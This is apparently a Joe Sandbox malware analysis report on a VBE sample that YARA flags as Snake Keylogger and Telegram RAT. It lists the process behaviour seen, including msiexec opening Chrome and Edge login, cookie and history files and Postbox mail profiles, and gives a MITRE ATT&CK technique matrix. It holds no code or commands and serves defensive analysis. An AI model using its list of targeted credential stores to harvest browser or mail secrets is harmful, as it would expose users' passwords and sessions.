Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\SysWOW64\msiexec.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000F.00000002.2230198077.0000000020AD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0000000F.00000002.2232887715.0000000022BFA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2230198077.0000000020CBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 5216, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\msiexec.exe

File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\

Jump to behavior

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 5216, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000F.00000002.2230198077.0000000020AD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0000000F.00000002.2232887715.0000000022BFA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2230198077.0000000020CBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 5216, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	11 Windows Management Instrumentation	11 Scripting	1 DLL Side-Loading	2 Obfuscated Files or Information	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	311 Process Injection	1 Software Packing	LSASS Memory	23 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Security Account Manager	11 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	11 Masquerading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Modify Registry	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	311 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4500149631.vbe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
4500149631.vbe